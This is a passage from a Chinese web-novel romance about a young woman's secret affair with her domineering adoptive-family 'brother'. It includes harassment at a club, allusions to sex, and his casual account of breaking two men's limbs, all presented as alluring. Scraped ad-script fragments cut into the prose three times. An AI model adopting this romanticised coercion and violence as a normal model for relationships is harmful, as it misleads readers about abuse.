驾驶座的男人微不可察地笑了声,升起车窗,让她不得不坐回原位。 “还没看够?” 钟栖月侧脸,问他:“远方不会有事吗?那群人好像不是什么正经人。” 纪冽危修长的指尖轻轻敲打方向盘,开着车,说:“是啊,在栖月眼里,哥哥身边哪有什么好人。” “……”钟栖月小声说:“我不是这个意思,哥哥。” 她每次这样小声说话,再软绵绵地唤一声哥哥,就是在讨好他。她心里清楚,这一招对纪冽危百试不爽。 他看在眼里,也不想戳破。 她没敢问,为什么纪冽危能从那些小混混手里把她提出来,他圈子里分明都是些跟他同阶层的人物才对。 或许也有一种可能,她其实从来就不了解他的势力终究有多广,不过就是一群小混混,把她捞出来,只是打个电话的功夫而已。 车内正在放着轻音乐,钟栖月坐在副驾驶,话也不敢多说一句,生怕纪冽危又找她提起什么话题,干脆就直接装睡。 正好是红灯,车子停下。 纪冽危瞥她一眼,“那个小区看了没有满意的房子?” 他声音清淡,像薄荷似的砸入她心口,那瞬间让钟栖月打了个激灵。 她缓缓睁眼,说:“不是,我就是在那小区办事。” 纪冽危神色平静说:“那小区的确离纪宅很远,有人要是想找你很不方便,栖月,位置找的不错,但房子不好,小区的治安不行。” “哥哥可以给你推荐一个更好的位置,不仅离纪家远,治安好,最重要的是,跟你发小离得很近,方便的时候你们可以时常聚会消遣。” 钟栖月脸色微白:“不用了,多谢哥。” 到家时已经八点半了,钟蕊在客厅插花,看到钟栖月和纪冽危一起回家,诧异道:“月月,你怎么跟你冽危哥一起回来的?” 钟栖月早就想好说辞:“妈,我们是路上不小心遇见,冽危哥顺路载我回来。” 纪冽危去冰箱那拿了瓶冰水,喝水时,喉结上下滚动,下颌线条流畅。 他漫不经心笑:“是很巧碰上了。” 钟蕊笑说:“原来是这样啊,月月,下次可别麻烦你冽危哥了,你也知道他每天工作很忙,回来休息不是给你当司机的,知道吗?” “知道了。” “真乖,过来洗个手,跟妈妈来插花。” 等钟栖月洗完手出来,纪冽危也不知道什么时候上楼了,看到钟蕊优雅地坐在那摆弄花瓶,她走过去,也熟稔地开始操弄了起来。 钟蕊说:“这马上就要到中秋节了。” 钟栖月拿剪子修剪残叶,“妈,那初冬中秋节要回来了吗?” 纪初冬是纪东原和钟蕊的儿子,今年二十岁,正在墨尔本读大学,已经快两年没回了。 提起儿子,钟蕊忧虑说:“不清楚,说太远了回来一趟不容易,初冬也说很想家了。” 钟栖月觉得很奇怪,怎么会出国上大学回来一趟这么难?当初纪冽危可是时不时就回国。 钟蕊忽然转移话题:“月月,你最近是不是在看房子?” 钟栖月手中动作一顿,抬起头,目光与钟蕊四目相对,她知道已经瞒不过了,老实点头:“对的。” “看好房子了吗?” “还没有。” 钟蕊问她:“真的就要搬走?” 钟栖月没有说话。 下一秒,钟蕊便说:“还是别搬了吧,纪家住着不是挺好吗?你要是搬走了,妈妈怎么办?初冬在国外没回,现在这家里,妈妈就你一个亲人了。” 养母总是这样,先前答应的事,也会临时反悔,好像她就是她可以随意掌控的玩偶。 之前说了同意她搬出去,现在又改口。 钟栖月放下手中的剪子,说:“妈,我已经二十三了,再留在纪家不太合适。” 钟蕊问她:“你是觉得自己没有纪家的血脉不方便留着?” “对。” “这样好了。”钟蕊叹气,温柔说:“我们月月也长大了,是该结婚了,妈妈最近也在想办法帮你物色对象,要是找到了合适的男朋友,打算结婚的话,你再搬出去。” 这已经不是商量了,这是命令。 空气似乎凝滞。 对上钟蕊温柔又慈爱的眼神,钟栖月只好妥协,“好。” “月月喜欢怎样的男朋友?妈妈也帮你留意着,当然,一定也要那个男人能配的上月月才对。” 钟栖月低头说:“我没有什么要求,妈,你看着办就行。” “好,那妈妈就帮月月掌掌眼。” “嗯。” - 踩着台阶上楼,钟栖月忽然想起在车上时,纪冽危说帮她找房子的话。 那时候她还有点不明白,以他的性子,怎么会就这样放任她搬出纪家。 原来啊,原来。 是他早就知道了,钟蕊绝对不会让她搬出纪家的。 这件事,根本无须他出手,她注定走不了。 他从来都是掌控全局。 就像他们那天突破那道防线一样,分明是她把他拉进了自己的房间,也是她先表白的,更是她先主动吻的他。 最后,却是他将她按在门板上抵死交缠。 昏暗的房间,两道身体贴得密不可分,他灼热的呼吸,落在她身上每一寸的肌肤。 事情过去了那么久,每每回忆起来,她都禁不住心尖发麻。 纪冽危在纪家人的眼里,总是异类。 钟栖月到纪家时,那时候他才十五岁,听说前几年他兄长出车祸没了,母亲在悲痛之下,当晚便选择自尽。 发现自己母亲尸体的第一个人,就是纪冽危。 短短一天,他失去了生命中最重要的两个亲人。 那时纪家一直有个流言,钟栖月听说,好像自从那天过后,纪冽危就疯了。 在纪家的流言里,说真正的纪冽危在那个晚上就已经死了,后来被神经病俯身,脑子也变得不正常。 有段时间,纪家的氛围很阴暗,人人身体不得劲,都说是纪冽危引起的,好像说他方圆百米内都会有不幸的事发生,有佣人见过他双手带血的样子从后院的树林出来,瘦削的面容是餍足的神态,都在猜测他做了坏事。 这些流言虽然被纪老 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 爷子禁止了,但纪冽危肯定是知道的,他知晓有多少人怕他,偏生不辟谣,就享受那种被人恐惧的感觉。 上位者的恶趣味。 她到纪家时,见到的纪冽危外表看着没什么不正常的。 她也听说了许许多多奇怪的流言,的确受那些流言的影响很怕很怕他,因为她是他父亲情妇带回来的孩子,每次看到那双白皙嶙峋的双手,她都很害怕纪冽危会在没人的地方掐死她。 可她也的确没想到。 那双本该掐她脖子的手,后来会抚过她身体的每一个位置。 如果说,早知道跟他发生这样肉.体上牵扯不清的关系,带来的后果有这么严重。 那个晚上,她还不如直接推开房门,选择承认错误。 回房沐浴后,钟栖月打算休息,纪依雪却突然抱着枕头来找她。 “月月,我今晚跟你睡好不好?” “好是好,但你怎么忽然来找我了?” 纪依雪进了卧室,沮丧说:“我失恋了,我怕在房里哭,我爸妈会听见。” “失恋?你什么时候谈恋爱了?” 听她语气里的惊悚,纪依雪没好气道:“拜托,我也二十三了,谈恋爱很稀奇吗?倒是你才奇怪,都这么大了还没恋爱。” 钟栖月不想把恋爱话题扯自己身上,问她怎么回事。 纪依雪靠她床上,跟她分享了自己这段感情。 “那男人是我在外面认识的,他家里很穷,那时候我很瞧不上他,但不知道怎么就看对眼了,然后你懂的,现在成年人嘛看对眼就谈,也没想那么多。” “可没想到他知道我是纪家人后,果断选择跟我分手,我人都傻了,拜托,我什么身份,他什么身份?他敢甩我,是不是疯了?” 她气得狂捏枕头:“你说是不是他脑子有病?知道我什么背景应该开心才对啊。” 钟栖月一时感慨:“也许是身份差距太大吧,他想及时止损。” “他损个屁,跟我在一起只有赚的份。” 纪家人天生就有种自己高人一等的优越感,所以纪依雪是意识不到普通人面对阶层差距的那种逃避恐惧的心理,她只觉得对方不识好歹。 钟栖月没打算说服她,这种观念是根深蒂固,改不掉的。 简单安慰了几句。 房间熄灯,纪依雪抱着钟栖月哭了好久。 “我是真的很喜欢他,但他现在已经不理我了,把我的联系方式全部拉黑了,月月你说我该怎么办啊。” 钟栖月睁眼,看着漆黑的天花板说:“你还是放手吧,找个跟你身份差不多的恋爱。” 纪依雪不依,脚一伸一蹬:“我不管!我得让他付出应有的代价,凭什么是他甩的我?我要找冽危哥帮我收拾一下那个狗东西。” “……”钟栖月说:“我劝你还是别,不太好。” 纪依雪哪里听得进去,哭着睡着了。 第二天,纪依雪很早回了自己的房间,钟栖月照着镜子看到自己的黑眼圈,无奈地叹了一口气。 收拾好,开门准备下楼。 迎面便撞上了从房间里出来的纪冽危。 他穿了身白衬衫,领口松散,露出雪白.精致的锁骨。一阵微风从窗口吹了进来,带起他身上清淡的冷梅香。 蓦然看到他,钟栖月嗓音略微紧绷,喊了声:“哥。” 西装外套搭在手腕处,他正在调节腕表,淡淡颔首,“昨晚的哭声怎么回事?” 钟栖月解释:“那是依雪的哭声。” 没想到,纪冽危倏地轻笑一声,眉眼晕开潋滟波光:“你该不会以为,哥哥误会是你在哭吧?” 钟栖月没懂,抬眸看他。 纪冽危弯了弯唇:“栖月的哭声哥哥比谁都熟悉,又怎么会听不出。” 那无数个夜里,他们一次次抵死亲密。 她的嘤咛哭泣,柔软的嗓子哭到沙哑,一声声低吟着喊他哥哥的场景,是怎么一声声烙印进他的心口。 他怎么能忘。 5. 第 5 章 窗台外,微风卷起后院的海棠树,满院清香,楼下尚且能听到脚步声走动,还有佣人在清扫后院的声响。 望着钟栖月紧绷的白皙面容,纪冽危淡笑着回忆说:“哥哥还记得,栖月最喜欢伏在哥哥肩头上哭了,总是哭得一抽一抽,那时候哥哥怎么哄,你都停不下来,非要我弄到你没力气哭了才行。” “不,不要再说了。” “你那时候年纪也小,才十八九岁,看着柔柔弱弱的小姑娘其实可缠人了,嘴里说不喜欢,身体总是离不开哥哥。” “别说了!”钟栖月音量不知觉拔高,身体微微发抖。 短暂的沉默,纪冽危敛眸:“黑眼圈这么严重。睡不好就把纪依雪赶走,她还能欺负你?” 钟栖月呼吸很轻:“没有,是我喜欢跟依雪在一起玩。” “是吗?”纪冽危眸色冷凉,“时间不早了,下楼吃饭吧。” “好……” 纪冽危前脚刚离开,钟栖月后脚就听到最里面的卧室房门打开。 钟蕊从屋内走出来,见钟栖月站在楼道里,问道:“我刚才怎么好像听到冽危的声音了?” 钟栖月不知道钟蕊有没有听到那段话,现在心都被紧紧提了起来,她最害怕这件事会被钟蕊发现。 如果被她知道,她真的要完蛋了。 她尽量维持平静:“妈,冽危哥刚出来,说下楼吃饭。” “这样啊。”钟蕊走过来,“月月,这一早上你怎么脸色这么不好?” 阳光洒落进楼道,钟蕊看到她脸白得很,眼底还有乌青,一看就没休息好,关心地问:“昨晚没睡好吗?” “对,睡得太晚了。” “工作固然重要,但身体还是第一位知道吗?” “知道的。” 母女俩一同下楼,钟蕊问起来,“你那杂志社工作这么辛苦,什么时候辞了?” “我暂时没这打算。” “你这孩子,从小就听话,偏偏在找工作方面不听妈妈的话了,还是说孩子长大了都这样?” 钟栖月说不是。 下楼后,家里人都到齐了,一起围在长桌上吃饭。 吃完早饭,纪冽危拿着车钥匙出去,纪依雪连忙跟了过去,游廊上,她缠着纪冽危说:“哥,帮个忙好吗?” “什么事?” 看他态度不错,纪依雪心里有底了,笑着谄媚道:“你亲爱的妹妹刚被男人给甩了,你作为哥哥,难道不应该帮妹妹复仇吗?” 纪冽危笑了声:“谁敢甩你啊?” “就是说啊!谁敢甩我?但偏偏就有人不长眼了,不整得他低头跟我认错我可受不了这窝囊气。” “哦。” “哥,你就哦?” 纪冽危眼神从走到了鹅卵石小路的钟栖月身上掠过,神色淡淡:“那你想要我怎么做?” “嗯,这样,你呢帮我把他找出来,然后绑到我面前就行了。” “这话说的,好像我是什么道上混的,现在是法治社会,懂吗?”纪冽危耐心告罄,“自己感情的事自己解决,我没那义务。” 望着他毫不留情的背影,纪依雪气得直跺脚。 可恶,真的是天使面容魔鬼的心,半点都不心疼妹妹,她总算明白昨晚钟栖月为什么要她别找纪冽危帮忙了。 “哼,我就该听月月的话,别找你。” 纪冽危驻足,转过身来,“她说我什么了?” 纪依雪楞了下。 纪冽危拿着车钥匙的手微动,“不说是吧,也行,你那男朋友要是让叔父知道了……” 纪依雪吓得连忙坦白:“月月说你不好!我可没说,你别找我,也别把这事告诉我爸。” 纪冽危面上神情没什么变化,只说了声知道了,转身离开。 - 早上来到杂志社,隔壁工位几个同事都在闲聊天,宋主编过来说了句十点开会,就都开始着手处理自己手中的工作了。 刘露的工位在钟栖月的旁边,她凑过来问:“月月,听说你昨天跟一个骑机车的男人回家的啊?” 钟栖月问:“你怎么知道的?” “这事早上整个杂志社都知道了,你也清楚现在的人多八卦,都说那是你男朋友呢,真的吗?” 钟栖月摇头:“不是,那只是我从小认识的朋友。” “不过真是稀奇了,这还是第一次见到你有朋友来找你呢。” 杂志社的人都觉得钟栖月极其神秘,从没有朋友主动找到单位来,长得这么漂亮有气质也没个追求对象,关于她的家庭也从没听她提起过,昨天出现了个朋友能不是稀罕事吗。 “也没什么,大家都有自己的生活嘛,没事来找我做什么。” “说的也是,对了,主编说的那个任务,你想到办法了吗?” 提起采访纪冽危的事,钟栖月很头疼,摇头说自己也没办法。 刘露很失望,“看来这次奖金也轮不到我们了。” 正在看着电脑屏幕,钟栖月收到了郑远方的消息。 【月月,我昨晚安全回家了,你没事吧?】 钟栖月:【没事,你还没告诉我到底是什么情况。】 郑远方:【嗐,别提了,就倒霉得很,上次飙车把那人的老大车子擦了,就一点小事非说要我赔五十万,太离谱了,只是故意讹我而已。】 【不过你别担心,我会有办法解决的。】 郑远方说有办法解决,钟栖月怎么不大信,他现在也没什么正经的工作,就支了个烧烤摊,生意也不是很好,还因为自己夜里飙车的原因,摊子也时常罢工。 普通人,更何况没点积蓄的普通人,怎么可能轻松拿出五十万。 徐紫芸也听说了郑远方的事,问她:【月月,你昨天没出事吧?】 【没,安全到家的。】 【那就好,我刚听远方说了昨天你们俩被绑架,我吓得不行,对了他还欠债五十万,好像是惹了什么不该惹的人,太恐怖了。】 徐紫芸和郑远方是她幼时,在随南认识的发小。 在十一岁以前,钟栖月跟着钟蕊一直住在一个叫随南的南方小镇。 那时候,她和徐紫芸还有郑远方就是很好很好的朋友了。 但自从她跟着钟蕊一起来到纪家后,就彻底跟他们俩失去了联系。 直到二十岁那年,她在街上意外遇到了徐紫芸,这才和他俩又开始来往了。 关于这件事,钟栖月不敢让钟蕊知道。 钟蕊绝对不会允许她还和当初在随南认识的人再有来往。 她记得,钟蕊曾说过这样一句话。 ——月月,进了纪家后,你就跟他们不是一路人了,知道吗? 钟栖月不明白,为什么她去了纪家就要跟以前的朋友全部断开联络,大家都是人类,为什么要把阶层分得这么清楚。 况且,她又不姓纪。 纪家的一切又不属于她。 下午六点,钟栖月正在收拾包包,接到了纪依雪的电话。 纪依雪像是有什么十万火急的事,直接把车子开到了杂志社外面,把她接走了。 火急火燎上了车,钟栖月系着安全带问:“我们这是去哪儿?” 纪依雪咬着牙看前方的路,“捉,奸!” “什么?” “就是我昨晚跟你说的那男人,他刚甩了我就无缝接轨另一个女人,这怎么让我忍得下那口气。” 纪依雪火气很大,钟栖月担心出事,连忙安抚说:“那这时候去会不会出事啊,毕竟你们已经分手了。” “别说了,你跟我一起去就行了,放心吧我知道你胆小,一会出什么事我在前面扛着。” 纪依雪的奔驰,风风火火地在马路上疾驰,半个小时后,抵达一档高级会所。 钟栖月拿出手机想搜一下这个会所主要是干什么的。 但纪依雪不给她时间了,停好车,就把她从副驾驶上拉出来。 纪依雪手机上还在弹消息。 钟栖月看了一眼,发现是她那些小姐妹的群聊。 大概是在告诉她那个男人的具体位置在哪,在做什么。 进入这家高级会所,有侍者阻拦。 纪依雪眉头一皱,“不能进?” 那侍者的目光落在钟栖月身上,意思很明显了,“这位小姐看起来,不像是来过这,不大合适吧。” 她穿着一身很乖巧白色的长裙,戴着眼镜,一副三好学生的样子。 实际上她早就已经出社会工作,也成年了。 钟栖月脸上臊得慌,说:“我带了身份证,给你看看?” 纪依雪直接报了纪冽危的名字,“纪先生是我哥,你还敢拦我?” 侍者脸色一变,连忙恭敬起来,“不敢,我这就带二位进去。” 钟栖月和纪依雪跟在这名侍者身后,她一路打量着这个陌生的场所,心下忽然有点不太好的预感。 纪依雪问:“我刚报的房间号,那里有几个人?” 侍者答:“好像有一群人在里面聚会,纪小姐,那不是你的朋友吗?” “……”纪依雪轻咳一声:“是我的朋友。” “到了,二位请进吧。” 送她们到此,那侍者就走了。 听到里面嘈杂的音乐传出来,钟栖月拉住纪依雪,“我们还是别进去了,不是说里面很多人吗?” “怕什么,还能吃了我们?”纪依雪说:“我就想进去看看情况,好让我死心。” 纪依雪把包间的门推开。 里面耀眼的光线泄了出来,钟栖月站在她身后,朝里面看过去一眼,果然是形形色色的人,大多数女生穿得极其暴露,还有男男女女很是亲密相拥亲吻。 她还在打量情况,就看到纪依雪已经进去了。 纪依雪直接冲到最边上那,站在一个染着银发的男人面前,质问他:“韩萧,你在这干什么?” 韩萧看到她很惊讶,搂着怀里的辣妹说:“纪大小姐?我才该问你来这里发什么神经,我们都分手了。” “你……”纪依雪愤 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怒:“你是出轨了吧?” 昨天才跟她分手,今天就找女人! 韩萧冷笑着,“管你怎么说,昨天就分手了,我今天做什么跟你也无关。” 旁边有人起哄,“萧哥,这两位美人是谁啊?” 有几个男的还上前凑过来,看出来纪依雪正在生气,就上去勾搭钟栖月,“哟,好乖的小妹妹啊。过来陪哥哥玩玩好吗?” 钟栖月脸色苍白,连忙退开说:“你们别碰我。” 有个男人被刺激到勾住她肩膀,挑她下巴:“小妹妹看着这么柔弱,竟然是这么刚烈的性子,还是处女不?要不让哥哥我让你体验一下破.处的销魂快乐?” 听到这么难听的话,钟栖月实在忍受不了。 这么多年,她在钟蕊严厉的教导下,从没有跟任何不三不四的人有什么来往,在她的世界里,这种人早就被屏退出去了。 男人看到她恐惧的样子,更兴奋了。 而纪依雪还顾着跟韩萧吵架,根本没有关注到钟栖月这边的情况。 她被两个男人包围,一个搭着她的肩膀,推拒也没用,还有一个都要搂上她的腰了。 “嘭”地一声。 包间的门忽然被一脚踹开。 剧烈的声响引得所有人朝门外望去。 男人一身矜贵的西装,显然才从会议中离场,身量过高,逆着光站在门口,压迫感十足。 “谁啊?!”说话的是手还搭在钟栖月肩膀的男人,四目相对,门口男人沉凝凉薄的目光让他打了个寒颤。 纪依雪回头看到来人,登时跟看到了救命稻草似的。 “哥!!” 钟栖月身子一抖。 纪冽危大步走过来,一脚将钟栖月身旁的人踹开,那男人被他踹得两米远,撞到沙发角落,死死捂住肚子。 瞬间,脸色惨白,汗液淋漓。 纪依雪跑过来求救:“哥你来的正好,妹妹我刚刚被欺负惨了。” 纪冽危没看她,轻微抬手,身后就跟过来几名黑衣保镖,包间的门也被严密关上,他一句话都没说,却让刚才还沉浸在酒色中热闹的场合,顷刻间,变得安静。 在场有人认出了纪冽危,吓得喊了声:“纪先生。” 那个最先喊出纪先生的,是今晚聚会里的老大,众人见他都这么害怕,都知道这个男人来头不简单。 钟栖月缩在角落,一句话都不敢说。 纪冽危找了个位置落坐,单手解开西装扣子,白皙的腕骨泛着清冷的玉色。 他似笑非笑:“嗯,什么情况?” 纪依雪哪管得了那么多,“哥,诺,那就是我跟你说的渣男,你妹妹我今天就是来找他算账的。” “你,还有你,过来。”纪冽危朝刚刚他踹的那两个人,勾了勾手指。 直到现在,纪依雪才发现自己被纪冽危当空气了。 她尴尬地站在原地。 那两男人被保镖提了过来。 此时脸色刷白,还紧紧捂着肚子蜷缩成一团,狼狈不堪。 “纪先生,不知道您今天怎么来这了?”有人不怕死,紧张问。 纪冽危声线懒散,“也没什么,来找妹妹的。” 纪依雪松了一口气,还好还好,他心里是有她这个妹妹的。 “妹妹?”那男人大概明白什么情况了,把韩萧推出来,“韩萧跟纪小姐的私人感情我们一概不知啊。” 纪冽危轻微抬手,保镖很快就一窝蜂把包间内所有人都赶走了。 独独留下刚被踹的两个人。 包间外,看到韩萧慌乱逃走的背影,纪依雪气得不行,“可恶,让他就这样跑了。” “月月,你脸怎么这么白啊。” “没……”钟栖月声音很紧:“我们还是回去吧。” 纪依雪摇头:“回什么,冽危哥还在里面呢,不知道在干嘛,等他一起回去好了。真是怪了,我哥干嘛把那两个人留下来,跟我又没什么仇。” 下一秒,包间内传出了撕心裂肺的惨叫声。 一道接着一道响起。 纪依雪吓得跟钟栖月干瞪眼,不明白里面发生了什么。 十分钟后。 纪冽危神色舒坦地从包间内走出来,漆黑的眸轻飘飘落在钟栖月身上,却是在跟纪依雪说话,“忘了提醒你,你新提的车到了,还不去开回家?” “车?”纪依雪兴奋道:“对哦,我怎么忘了这回事。” 想到钟栖月还在这,她为难道:“月月,我不能送你回家了,要不……” 钟栖月揪着自己的针织衫袖口,说:“没事,我可以自己打车回去。” 纪冽危慢步靠近,单手整理衣袖:“打车做什么?哥哥送妹妹安全回家。” 纪依雪没心没肺地笑:“对啊,还有我哥在呢,我哥今天都为了来救我,特地从会议中途离场了,看来心里还是有妹妹的。” “那是,”纪冽危不咸不淡说:“哥哥心里,怎么可能没有妹妹呢。” 钟栖月的心,咯噔一跳。 6. 第 6 章 八月底的天,外面的气温犹如蒸笼,即便是夜里,吹得风都是热气腾腾。钟栖月亦步亦趋地跟着前面的男人离开了这档高级会所。 他们从大门出去,还有侍者弓腰欢送。 当真是气派。 也是,纪冽危这人,天生就是上位者的姿态。 举手投足间就非寻常人,即使是冷淡的眼神,也能让人一眼就看出,此人不简单,所以就算有人不知道他是什么身份,也是天然的会对他这种人心生尊重的心理。 不像她,来到这种地方,还要被侍者戴有色眼镜。 上了车。 车门关上,此时夜里,车子里的光线极其暗沉,钟栖月感觉呼吸逐渐稀薄。 她慢慢系好安全带,把手乖巧地放在自己大腿上交叠着。 这幅画面,自然没有逃过纪冽危的视线,他弯唇,轻轻地嗯了声:“不怪哥哥也被你这乖巧的皮囊给欺骗得不惨,栖月的确很会演。” 钟栖月头皮发麻,小声说:“我今天是无辜被牵连的,依雪非要带我过去。” “嗯?这时候怎么知道把锅推到她身上了?” “但的确是她带我去的啊。” “今早还有人跟我说,就喜欢跟纪依雪一起玩,怎么,”他把玩手中的打火机,钟栖月听到声响,火苗簇起,那簇火光在车内照亮了他白皙清冷的侧脸。 犹如白玉被火光照亮,漂亮得很。 “现在还喜欢跟她一起玩?” 钟栖月微抿唇瓣,提醒说:“哥,时间不早,该回去了。” 那簇火苗灭掉,纪冽危叹说:“栖月总是这样,知道哥哥跟你关系不一般,总是能理所当然地指使哥哥做事。” 钟栖月皱眉说:“哥,你能不能不要说这种话。” “什么话?” “就是,好像我和你……” “难道不是?” 钟栖月放软了调子,“我们能回去吗……” 她感觉的出来,纪冽危从出现在那包间的时候,心情就很不好了。 他心情不好的时候,遭殃的就是身旁的人,她实在害怕,害怕他又做出那些不理智的事。 就像那次一样…… 回忆起当时的画面,她都觉得恐怖。 那个场景,她大概需要用一生去治愈。 也是在那天,她才意识到,这个男人,好像在这个世上没有什么在意的人和事了。 他可以随时去死。 像纪冽危这种凉薄无情的疯子,最好别轻易招惹,否则后果难以承担。 车子缓缓行驶。 在这期间,钟栖月都不敢看纪冽危是什么样的神情,但她也能猜测到,总归是不太好的。 自从上个月回国后,他好像整个人变了许多。 要是在一年前,她发生这种事被他看到,大概这时候,他已经在车上惩罚了她。他会把她弄哭,让她不得不伏在他怀里说自己错了。 钟栖月想起刚才在包间里的事。 心里很紧张,问:“哥,我能问一下,刚才那里面的两个男人……” 纪冽危漫不经心开着车,淡笑:“这么在意其他男人?” 她连忙说:“不是的,我是担心你惹上什么事。” 纪冽危并没有因为她说的那句担心,情绪有什么变化,倦怠地说:“就那样吧。” “哪样?” “还能哪样?你跟哥哥偷偷摸摸四年了,还不明白哥哥行事的风格?” 那两个男人这样调戏她,还搂了她的肩膀。 这一切在纪冽危眼里看来,他们早就没有活着的必要了。 “所以?” 听到她细软的腔调里有微微的颤抖,纪冽危哂笑:“还好,也就不小心让他们断了手和腿,不过哥哥心善,给他们送医院去了。” “然后啊。”车子转了个弯,他语气淡淡地说:“好了再断。” 知道她胆子小,吓完后,纪冽危又好心补了句:“问题不大,死不了,哥哥会赔钱的,你放心。” 持久没有听到她的声音,纪冽危问:“怎么不说话了。” “没。”她不知道该说什么好。 忽然觉得很疲惫,很恐惧,车内的冷气好像格外的低。 即使钟栖月什么也没说,但纪冽危还是敏感察觉到她的态度,红灯停下,他从后座取了毛毯丢她怀里。 “盖上。” “喔。” 这毛毯,还是她之前常用的。 因为她之前说过喜欢这个毛毯的花样,和柔软的料子,他便一直用着了。 她还记得,她和他曾经在这张毛毯上,做了很多荒唐事。 想到那些,她的脸完全不可控制地红了起来。 眼神落在她忽然泛红的小脸上,纪冽危伸手撩起她的刘海,他指腹冰凉,划过她细嫩的肌肤,贴过来的那瞬间,使钟栖月后背发凉。 她身体立刻紧绷起来。 纪冽危把她刘海撩起来,随后说:“你这眼镜,在我面前可以不用戴。” “为什么?”钟栖月抬起眸,隔着镜片对上他淡薄的眸子。 纪冽危似笑非笑,“你要喜欢就戴着吧。” 钟栖月解释说:“我近视很严重。” “是吗?”纪冽危状似遗憾,“那可惜了,是不是摘下眼镜,栖月就看不到哥哥长什么样了。” 钟栖月讷讷点头,“对。” 纪冽危唇角微提,眼神扫过她的脚踝,顿了会,看着前方的路,也没再说什么了。 - 回到纪宅,钟栖月跟在纪冽危后面进去,家里正在吃晚饭。 看到钟栖月和纪冽危一起回来的,纪老爷子很开心,问他们吃了没。 纪冽危说没有。 钟栖月想说,吃了,但钟蕊从厨房出来看到她,还没等她开口说话,钟蕊就主动说,“月月,过来帮妈妈,一会跟爷爷一起吃饭。” 顿了会,钟栖月点头:“好。” 洗了手,钟栖月去厨房帮忙,纪家有专门下厨的佣人,基本都在纪家许多年了,对每个人口味都很清楚。 做饭阿姨看到钟栖月进来,夸赞说:“月小姐还是这么懂事,这厨房啊,纪家的小姐里也只有月小姐愿意进来了。” 钟栖月低着头在找碗。 钟蕊盛好汤,笑说:“这孩子打小就这样,都不需要我主动教她,乖巧得很。” 阿姨笑笑,眼神落在钟栖月的手上,好一双白皙无暇又柔软的双手,天生就是做千金小姐的。 的确很乖巧。 在纪家这么多年了,就没见过钟栖月有反抗过什么,无论她跟谁说话都笑盈盈的,家里有年纪小不懂事的弟弟,也都说这个姐姐很温柔好亲近。 可能因为身份尴尬的缘故,为了能融入纪家,钟栖月只能这样迁就所有人。 晚饭盛了上来,纪东原和纪宗州夫妇也下了楼。 钟栖月从厨房出来时,正看到纪冽危穿了身深灰色的家居服,在跟纪老爷子对弈。 他肤色很白,和适合穿深色。 这种颜色,也将他清冷又高不可攀的气质展现淋漓尽致。 背也宽阔,灯光落在他的后颈,泛着点点光晕,光看这背影,就能让人呼吸一紧。 钟栖月垂眸,错开眼神。 在落坐之前,特地找了个离纪冽危最远的位置坐下。 纪宗州打趣道:“也是没想到,冽危今晚还能回来陪你爷爷吃顿晚饭了。” 纪冽危淡声说:“爷爷要是想,我随时可以回来。” “你啊。”纪老爷子笑:“就会说这种话哄爷爷开心,要真想孝敬爷爷,难道不是应该找个女朋友吗?” “冽危啊,爷爷可是听说灌云都有女朋友了,他小你四岁,让弟弟都跑到你前头,你怎么想的?” 纪灌云是纪依雪同胞胎的弟弟,姐弟两只相差一分钟,性格也极其相似,每天在家里是闹得不可开交。 钟栖月正慢条斯理地吃饭,想把自己当透明人。 忽然听到对面,纪冽危懒散的声线:“爷爷也知道我工作很忙,去年把我支出国一年,不就是想历练我么?回来了,还不让我搞事业呢?” 他说话总是这样,轻轻松松就怼的人哑口无言。 纪老爷子呵呵笑,看向纪冽危的眼神无比溺爱。 “你要是真想恋爱了,爷爷还能拦着?” 纪家人都知道,纪老爷子有多么和蔼,他好像对所有孙子孙女一视同仁,但钟栖月能感觉的出来,纪冽危对纪老爷子而言应该是不同的。 对这个孙子,他格外的纵容,也格外的严厉。 纪东原开口道:“冽危,你爷爷说的也有道理,都二十七岁了,还没个女朋友,这像话吗?” 纪冽危低声笑了笑,没说什么。 但莫名的,整个餐桌,因为这道意味不明的笑声,似乎有了点变化。 钟栖月过了会才明白纪冽危这声笑的意思。 大概是笑,他二十七了还没女朋友,不像他爸五十几了还有女朋友。的确很不像话。 纪东原脸色一变,也想到了这层,不想再把话题放在纪冽危的身上了,他看了眼钟栖月,笑着问:“月月,听你妈妈说,你想交男朋友了?” “咚。”地一声。 钟栖月好像听到了自己心脏剧烈跳动的声音,她强行克制不去看对面那道落在自己身上的视线,轻声说:“叔叔,我跟我妈说的不是这意思。” “小姑娘还害羞了?”纪东原和蔼道:“你也别紧张,姑娘大了也该谈恋爱,这也不是什么羞耻的事,月月今年都有二十三了吧?” 钟蕊接话,“对,刚二十三,看着还是个小姑娘,其实也不小了。” 纪老爷子问:“二十三了?瞧爷爷这记性,月月来我们家也有十二年了吧?怎么长得还是跟十八岁小姑娘似的,太显小了。” 钟蕊笑说:“这孩子就是脸小,眼睛又纯净,性子也太乖巧了,我总担心她在外面会被人欺负。” 长辈们提起孩子的感情话题,好像总是有说不完的话,就连纪宗州的妻子何晴也说:“想谈恋爱了这还不好说?婶婶改天给你物色个合适的,婶婶别的不说,人脉圈子可是很广,认识不少阿姨家里的男孩子那叫一个盘靓条顺啊。” 被这么多长辈操心自己感情的事,钟栖月脸微微红了起来,半天说不出一句话。 钟蕊轻轻推她,“月月,还不谢谢婶婶?” 钟栖月咬了咬唇,抬眸朝对面看过去,轻声说:“谢谢婶婶。” 何晴笑说:“诶,不客气,真乖啊。” 眼神收回时,钟栖月防不胜防,还是跟坐在纪老爷子旁边的纪冽危对上了视线。 四目相对,视线短暂的在空中相撞。 那瞬间,钟栖月像是感觉空气中,无端生起了什么透明的火光。 他漆黑的眸子,轻描淡写地落在她脸上。 她心口发烫,下意识垂眸,避开了他坦然直接的眼神。 这个短暂的视线交汇,在其他人眼里并没有觉得异常。 偏偏,就这样勾起了钟栖月心里的涟漪。 她忽然有种,不太好的预感。 比如刚刚提起的话题…… 吃完了晚饭,其他长辈上楼了,纪老爷子和纪东原在下象棋。 钟栖月赖在一楼,半天不想上去,钟蕊瞧她那样,都觉得今天有点不对劲,“月月,你是怎么了?平时回来不是总是第一时间回自己房间吗?” 钟栖月轻声说:“妈,我就在楼下陪你看看电视。” 钟蕊笑说,“看什么电视 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 